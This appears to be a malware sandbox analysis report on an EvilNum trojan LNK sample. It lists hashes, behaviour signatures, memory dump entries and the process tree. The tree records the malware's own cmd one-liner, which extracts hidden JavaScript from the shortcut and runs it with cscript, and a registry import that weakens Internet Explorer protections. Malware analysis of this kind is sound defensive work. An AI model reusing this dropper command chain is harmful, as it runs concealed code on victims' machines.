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Overview

overview

10

Static

static

10

0713c5c3db...fc.lnk

windows7_x64

10

0713c5c3db...fc.lnk

windows10-2004_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    04/02/2022, 08:41

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General

  • Target

    0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk

  • Size

    33KB

  • MD5

    219dedb53da6b1dce0d6c071af59b45c

  • SHA1

    650deb9baff4b7564146222deb555e77d5cbbe36

  • SHA256

    0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc

  • SHA512

    dfb89f58f70aa56b7dc681d01626f59c76c2d1bfa777f49b0ec0885c8122fe48e8fd88a92bc5879643b10a17ee709946871004f88187b6e56cca39be915c2e0a

Score
10/10
evilnumtrojan

Malware Config

Signatures

  • EvilNum C# Component 2 IoCs
  • EvilNum JS Component 2 IoCs
  • Evilnum

    A malware family with multiple components distributed through LNK files.

    trojanevilnum
  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer Automatic Crash Recovery 1 TTPs 1 IoCs
  • Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
  • Modifies Internet Explorer Protected Mode 1 TTPs 1 IoCs
  • Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of FindShellTrayWindow 22 IoCs
  • Suspicious use of SetWindowsHookEx 64 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /c copy 2*.lnk C:\Users\Admin\AppData\Local\Temp&C:&cd C:\Users\Admin\AppData\Local\Temp&attrib +r *.lnk&for /f "delims=" %a in ('dir /s /b *.LnK') do type "%~fa" | find "p0b2x6">.js &CsCRipt .js "%~fa"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1552
      • C:\Windows\system32\attrib.exe
        attrib +r *.lnk
        3⤵
        • Views/modifies file attributes
        PID:1532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c dir /s /b *.LnK
        3⤵
          PID:1576
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk" "
          3⤵
            PID:1264
          • C:\Windows\system32\find.exe
            find "p0b2x6"
            3⤵
              PID:1360
            • C:\Windows\system32\cscript.exe
              CsCRipt .js "C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk"
              3⤵
              • Deletes itself
              • Suspicious use of WriteProcessMemory
              PID:1708
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c 200_Germany.csv
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:968
                • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
                  "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde
                  5⤵
                  • Enumerates system info in registry
                  • Modifies Internet Explorer settings
                  • Modifies registry class
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SetWindowsHookEx
                  PID:1800
              • C:\Windows\System32\cscript.exe
                "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\file.js
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:564
                • C:\Windows\System32\cscript.exe
                  "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\kill.js
                  5⤵
                    PID:1164
                  • C:\Windows\System32\reg.exe
                    "C:\Windows\System32\reg.exe" import C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\g3r.reg
                    5⤵
                    • Modifies Internet Explorer Automatic Crash Recovery
                    • Modifies Internet Explorer Phishing Filter
                    • Modifies Internet Explorer Protected Mode
                    • Modifies Internet Explorer Protected Mode Banner
                    • Modifies Internet Explorer settings
                    PID:1260
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
            1⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:808
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:808 CREDAT:275457 /prefetch:2
              2⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:2024
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:808 CREDAT:1717252 /prefetch:2
              2⤵
              • Suspicious use of SetWindowsHookEx
              PID:720

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/968-67-0x0000000002690000-0x0000000002691000-memory.dmp

            Filesize

            4KB

            Download

          • memory/1800-63-0x000000002F941000-0x000000002F944000-memory.dmp

            Filesize

            12KB

            Download

          • memory/1800-64-0x0000000070F21000-0x0000000070F23000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1800-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1800-66-0x0000000075AC1000-0x0000000075AC3000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1800-68-0x000000006A801000-0x000000006A803000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1800-69-0x000000006A411000-0x000000006A413000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1800-74-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2044-55-0x000007FEFB731000-0x000007FEFB733000-memory.dmp

            Filesize

            8KB

            Download